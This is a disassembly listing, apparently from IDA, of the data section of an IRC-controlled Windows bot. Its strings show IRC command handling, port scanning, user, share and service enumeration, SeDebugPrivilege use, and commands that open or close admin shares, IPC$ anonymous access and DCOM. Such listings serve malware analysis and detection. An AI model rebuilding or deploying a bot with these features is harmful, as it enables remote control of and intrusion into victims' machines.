dword_42DF80	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040A746o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_42DFB4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040A726o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: seg000:0040A6EFo
aPart		db 'PART',0             ; DATA XREF: seg000:0040A6A1o
					; seg000:0040A763o
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: seg000:0040A679o
		align 4
aNick		db 'NICK',0             ; DATA XREF: seg000:0040A55Bo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040A4FEo
					; seg000:0040A787o
dword_42E014	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040A4E5o
					; seg000:0040F162o ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: seg000:0040A474o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040A41Do
					; seg000:0040E31Fo ...
		align 4
a433		db '433',0              ; DATA XREF: seg000:0040A3F5o
a302		db '302',0              ; DATA XREF: seg000:0040A3BAo
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040A374o
					; seg000:0040A548o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040A353o
		align 10h
aPing		db 'PING',0             ; DATA XREF: seg000:0040A339o
		align 4
asc_42E088	db ' :',0               ; DATA XREF: seg000:0040A216o
					; seg000:loc_40AA5Do
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
		dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
dword_42E11C	dd 25207325h, 253A2073h, 0A0D73hoff_42E128	dd offset aAdd		; DATA XREF: sub_40F501+6Dr
					; sub_40F8E5+50r ...
					; "Add"
off_42E12C	dd offset aAdded	; DATA XREF: sub_40F501+2Dr
					; sub_40F8E5+82r ...
					; "Added"
dword_42E130	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		dd 0
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E19Ch, 42E194h,	2, 42E188h, 42E17Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:0042E15Co
aStop_0		db 'Stop',0             ; DATA XREF: seg002:0042E158o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:0042E150o
aStart_0	db 'Start',0            ; DATA XREF: seg002:0042E14Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:0042E144o
		align 4
aList_0		db 'List',0             ; DATA XREF: seg002:0042E140o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:0042E138o
aDelete_0	db 'Delete',0           ; DATA XREF: seg002:0042E134o
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg002:off_42E12Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg002:off_42E128o
dword_42E1F0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F501+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E228	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F501+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E264	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F501+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40F62A+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40F62A:loc_40F742o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40F62A:loc_40F73Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40F62A:loc_40F734o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40F62A:loc_40F72Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40F62A:loc_40F726o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40F62A:loc_40F71Fo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40F62A:loc_40F718o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40F62A:loc_40F711o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40F62A:loc_40F70Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40F62A:loc_40F703o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40F62A:loc_40F6D8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40F62A:loc_40F6D1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40F62A:loc_40F6CAo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40F62A:loc_40F6C3o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40F62A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40F62A:loc_40F698o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40F62A:loc_40F68Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40F62A:loc_40F684o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40F62A:loc_40F67Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40F62A:loc_40F670o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40F62A+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40F7A8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40F7A8:loc_40F874o
aStarting	db '   Starting',0      ; DATA XREF: sub_40F7A8:loc_40F86Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_40F7A8:loc_40F866o
aRunning_0	db '    Running',0      ; DATA XREF: sub_40F7A8:loc_40F85Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40F7A8:loc_40F858o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40F7A8:loc_40F851o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40F7A8:loc_40F84Ao
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_40F7A8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40F7A8+25o
		align 4
dword_42E7CC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F8E5+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42E804	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F8E5+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42E834	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F8E5+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40FADA+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40FADA+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40FADA+B5o
dword_42E894	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FADA+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40FADA+26o
		align 4
dword_42E908	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FBFB+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42E944	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FBFB+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42E984	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FBFB+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42E9B8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FD41+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 10h
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40FD41+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40FD41+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40FD41+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40FD41+2ECo
		align 10h
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40FD41+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40FD41+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40FD41+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40FD41+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40FD41+21Eo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40FD41+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40FD41+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40FD41+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40FD41+178o
		align 10h
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40FD41+14Do
		align 10h
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40FD41+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_40FD41:loc_40FE5Ao
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_40FD41:loc_40FE53o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40FD41+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40FD41+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40FD41+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40FD41+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41010F+14Fo
		align 4
dword_42EB78	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41010F+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_41010F+BEo
		align 10h
dword_42EBC0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41010F+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41010F+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41028F:loc_4103ACo
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41028F:loc_4103A5o
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41028F:loc_41039Eo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41028F:loc_410397o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41028F:loc_410390o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41028F:loc_410373o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41028F:loc_41036Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41028F:loc_410365o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41028F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41028F:loc_41033Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41028F:loc_410333o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41028F:loc_41032Co
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41028F:loc_410322o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41028F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41028F:loc_4102FCo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41028F:loc_4102F2o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41028F:loc_4102E8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41028F:loc_4102DEo
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41028F:loc_4102D4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41028F+3Bo
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
		dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: seg000:0041060Co
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: seg000:00410546o
					; seg000:0041068Ao
		align 4
dword_42EF74	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_41069D:loc_410724o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_42EFAC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_41069D+80o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 4
dword_42EFE8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_41069D+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_42F02C	dd 1		off_42F030	dd offset sub_4107E2	; DATA XREF: sub_410B4D+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 410840h, 706D6F63h, 2 dup(0)
		dd 3, 41088Dh, 6E756F63h, 797274h, 0
		dd 4, 41092Bh, 736Fh, 2	dup(0)
		dd 5, 4109A0h
dword_42F084	dd 69257325h, 0						; seg000:0041090Co ...
byte_42F08C	db 50h			; DATA XREF: seg000:004108AFo
					; seg000:004108BCr
		db 43h,	2 dup(0)
dword_42F090	dd 7C7325h						; sub_410B4D+39o
dword_42F094	dd 5D73255Bh, 7Chdword_42F09C	dd 334B32h	dword_42F0A0	dd 5D64255Bh, 7325hdword_42F0A8	dd 5D4D5Bh						; sub_410AAA+57o
unk_42F0AC	db    2			; DATA XREF: sub_410BB6+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_42F0E8	db    2			; DATA XREF: sub_410C83+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
off_42F128	dd offset dword_42F160	; DATA XREF: sub_410DD4+1B3o
					; sub_4110F8+17Ao
		align 10h
		dd offset dword_42F158
		align 8
off_42F138	dd offset dword_42F154	; DATA XREF: sub_4110F8+1E3o
		dd offset dword_42F150
		dd offset dword_42F14C
		dd offset dword_42F148
dword_42F148	dd 5C3A44h						; seg002:0042F144o
dword_42F14C	dd 2444h	dword_42F150	dd 5C3A43h	dword_42F154	dd 2443h	dword_42F158	dd 494D4441h, 244Ehdword_42F160	dd 24435049h, 0	unk_42F168	db    2			; DATA XREF: sub_410DD4+2E5o
					; sub_4110F8+2D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_42F1AC	db    2			; DATA XREF: sub_410DD4+2CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_42F1E8	db    2			; DATA XREF: sub_410DD4:loc_411036o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_42F228	db    2			; DATA XREF: sub_410DD4+25Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_42F260	db    2			; DATA XREF: sub_410DD4:loc_410FA3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_42F2A0	db    2			; DATA XREF: sub_410DD4+1C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_42F2D8	db    2			; DATA XREF: sub_410DD4:loc_410F06o
					; sub_4110F8:loc_411226o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_42F31C	db    2			; DATA XREF: sub_410DD4:loc_410EFFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_42F36C	db    2			; DATA XREF: sub_410DD4:loc_410EE1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_42F3B4	db    2			; DATA XREF: sub_410DD4+106o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_410DD4+EDo
					; sub_4110F8+EDo
		align 4
unk_42F418	db    2			; DATA XREF: sub_410DD4+91o
					; sub_4110F8+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_42F45C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_410DD4:loc_410E41o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_42F48C	db    2			; DATA XREF: sub_410DD4+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_410DD4+54o
					; sub_4110F8+54o
		align 10h
word_42F4D0	dw 4Eh			; DATA XREF: sub_410DD4+38r
		align 4
unk_42F4D4	db    2			; DATA XREF: sub_4110F8+2C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4110F8+22Ao
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4110F8+219o
unk_42F518	db    2			; DATA XREF: sub_4110F8:loc_411297o
					; sub_4110F8:loc_411365o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_42F554	db    2			; DATA XREF: sub_4110F8+198o
					; sub_4110F8+266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_42F588	db    2			; DATA XREF: sub_4110F8:loc_41121Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_42F5D8	db    2			; DATA XREF: sub_4110F8:loc_411201o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_42F620	db    2			; DATA XREF: sub_4110F8+102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_42F670	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4110F8:loc_411165o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_42F6A0	db    2			; DATA XREF: sub_4110F8+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
